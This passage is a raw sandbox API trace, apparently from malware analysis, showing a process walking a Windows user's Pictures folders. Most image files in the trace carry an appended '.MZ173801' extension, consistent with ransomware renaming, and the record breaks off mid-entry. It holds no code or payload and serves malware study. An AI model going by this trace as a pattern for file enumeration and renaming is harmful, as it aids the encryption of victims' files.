FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b78480, ftCreationTime.dwHighDateTime=0x1d5f124, ftLastAccessTime.dwLowDateTime=0x14d46480, ftLastAccessTime.dwHighDateTime=0x1d5e719, ftLastWriteTime.dwLowDateTime=0x85c04832, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x103df, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MmyqV.bmp.MZ173801", cAlternateFileName="MMYQVB~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x681225f0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x77cb63f0, ftLastAccessTime.dwHighDateTime=0x1d5ed12, ftLastWriteTime.dwLowDateTime=0x85c29340, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xef85, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="oeFUq.jpg.MZ173801", cAlternateFileName="OEFUQJ~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3b750, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x7dc199e0, ftLastAccessTime.dwHighDateTime=0x1d5ea2f, ftLastWriteTime.dwLowDateTime=0x85c4f5f9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c4d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="P3JDGEyVU9q0 M.bmp.MZ173801", cAlternateFileName="P3JDGE~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.488] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.488] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc9f3b0, ftCreationTime.dwHighDateTime=0x1d5e65e, ftLastAccessTime.dwLowDateTime=0xeea01110, ftLastAccessTime.dwHighDateTime=0x1d5ea92, ftLastWriteTime.dwLowDateTime=0x85c757da, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x974d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="psR4.jpg.MZ173801", cAlternateFileName="PSR4JP~1.MZ1")) returned 1 [0158.488] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1461a0, ftCreationTime.dwHighDateTime=0x1d5e734, ftLastAccessTime.dwLowDateTime=0x4860db30, ftLastAccessTime.dwHighDateTime=0x1d5eaf2, ftLastWriteTime.dwLowDateTime=0x8881e6f0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4df4, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PurPDfKeeDvp_IIQ.png.MZ173801", cAlternateFileName="PURPDF~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eae750, ftCreationTime.dwHighDateTime=0x1d5edf9, ftLastAccessTime.dwLowDateTime=0xedc56760, ftLastAccessTime.dwHighDateTime=0x1d5e9b4, ftLastWriteTime.dwLowDateTime=0x888b70f4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x170b6, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="SuC Il0UxSD20dVADwP.bmp.MZ173801", cAlternateFileName="SUCIL0~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d79250, ftCreationTime.dwHighDateTime=0x1d5f05e, ftLastAccessTime.dwLowDateTime=0xfbf66190, ftLastAccessTime.dwHighDateTime=0x1d5ef5e, ftLastWriteTime.dwLowDateTime=0x888dd39c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xcdc9, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ww0uvocct0qsPBwJa 7.jpg.MZ173801", cAlternateFileName="WW0UVO~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163135c0, ftCreationTime.dwHighDateTime=0x1d5e763, ftLastAccessTime.dwLowDateTime=0x2bc72db0, ftLastAccessTime.dwHighDateTime=0x1d5e3bf, ftLastWriteTime.dwLowDateTime=0x8899bec1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1523f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zfiVS.png.MZ173801", cAlternateFileName="ZFIVSP~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6e3f0, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x60bf5e60, ftLastAccessTime.dwHighDateTime=0x1d5ef64, ftLastWriteTime.dwLowDateTime=0x889c218e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11f4a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zu7sT8ob.jpg.MZ173801", cAlternateFileName="ZU7ST8~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6e3f0, ftCreationTime.dwHighDateTime=0x1d5e579, ftLastAccessTime.dwLowDateTime=0x60bf5e60, ftLastAccessTime.dwHighDateTime=0x1d5ef64, ftLastWriteTime.dwLowDateTime=0x889c218e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11f4a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zu7sT8ob.jpg.MZ173801", cAlternateFileName="ZU7ST8~1.MZ1")) returned 0 [0158.489] GetLastError () returned 0x12 [0158.489] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda8eddb0, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0xb557ad30, ftLastAccessTime.dwHighDateTime=0x1d5eb2f, ftLastWriteTime.dwLowDateTime=0x85764876, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x791a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9Ogt.bmp.MZ173801", cAlternateFileName="9OGTBM~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa0710, ftCreationTime.dwHighDateTime=0x1d5eb56, ftLastAccessTime.dwLowDateTime=0x6f178e0, ftLastAccessTime.dwHighDateTime=0x1d5e9f7, ftLastWriteTime.dwLowDateTime=0x857b0c3a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BjNUPBepTMMyu.bmp.MZ173801", cAlternateFileName="BJNUPB~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe213c110, ftCreationTime.dwHighDateTime=0x1d5f06b, ftLastAccessTime.dwLowDateTime=0x7c0d04b0, ftLastAccessTime.dwHighDateTime=0x1d5ea32, ftLastWriteTime.dwLowDateTime=0x857b0c3a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe482, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BRtkw7h20gut.png.MZ173801", cAlternateFileName="BRTKW7~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f5def0, ftCreationTime.dwHighDateTime=0x1d5e736, ftLastAccessTime.dwLowDateTime=0xe302f300, ftLastAccessTime.dwHighDateTime=0x1d5e81b, ftLastWriteTime.dwLowDateTime=0x857d6ec4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x7bfa, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bzprLu.jpg.MZ173801", cAlternateFileName="BZPRLU~1.MZ1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.489] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0158.489] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.489] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.489] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.509] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.510] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.510] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.510] GetLastError () returned 0x12 [0158.510] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.510] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0158.510] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.510] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.510] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.510] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0158.510] GetLastError () returned 0x12 [0158.510] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26544840, ftCreationTime.dwHighDateTime=0x1d5eb26, ftLastAccessTime.dwLowDateTime=0x3b153bc0, ftLastAccessTime.dwHighDateTime=0x1d5e286, ftLastWriteTime.dwLowDateTime=0x857fd1e4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xeb1a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cjOca2N.png.MZ173801", cAlternateFileName="CJOCA2~1.MZ1")) returned 1 [0158.510] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.510] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.510] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f4bce0, ftCreationTime.dwHighDateTime=0x1d5ec9c, ftLastAccessTime.dwLowDateTime=0x1ef95790, ftLastAccessTime.dwHighDateTime=0x1d5f08d, ftLastWriteTime.dwLowDateTime=0x8584958c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1330e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gakO-X.jpg.MZ173801", cAlternateFileName="GAKO-X~1.MZ1")) returned 1 [0158.510] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.511] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.511] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9285f9b0, ftCreationTime.dwHighDateTime=0x1d5edcd, ftLastAccessTime.dwLowDateTime=0x525c2140, ftLastAccessTime.dwHighDateTime=0x1d5eef7, ftLastWriteTime.dwLowDateTime=0x8586f89f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x142dd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Jm-pvNoF7ZQ8Z9U.bmp.MZ173801", cAlternateFileName="JM-PVN~1.MZ1")) returned 1 [0158.511] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.511] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.511] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e71480, ftCreationTime.dwHighDateTime=0x1d5e941, ftLastAccessTime.dwLowDateTime=0xaf6ad070, ftLastAccessTime.dwHighDateTime=0x1d5e42a, ftLastWriteTime.dwLowDateTime=0x85895ac1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8a94, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MmiYF.bmp.MZ173801", cAlternateFileName="MMIYFB~1.MZ1")) returned 1 [0158.511] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.511] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.511] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2354a460, ftCreationTime.dwHighDateTime=0x1d5e8d7, ftLastAccessTime.dwLowDateTime=0xef0948d0, ftLastAccessTime.dwHighDateTime=0x1d5e892, ftLastWriteTime.dwLowDateTime=0x858bbcf6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x10b9b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nuPKgeB MAKEYlr.jpg.MZ173801", cAlternateFileName="NUPKGE~1.MZ1")) returned 1 [0158.511] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.511] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.511] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0158.511] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.511] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.511] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0158.513] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, 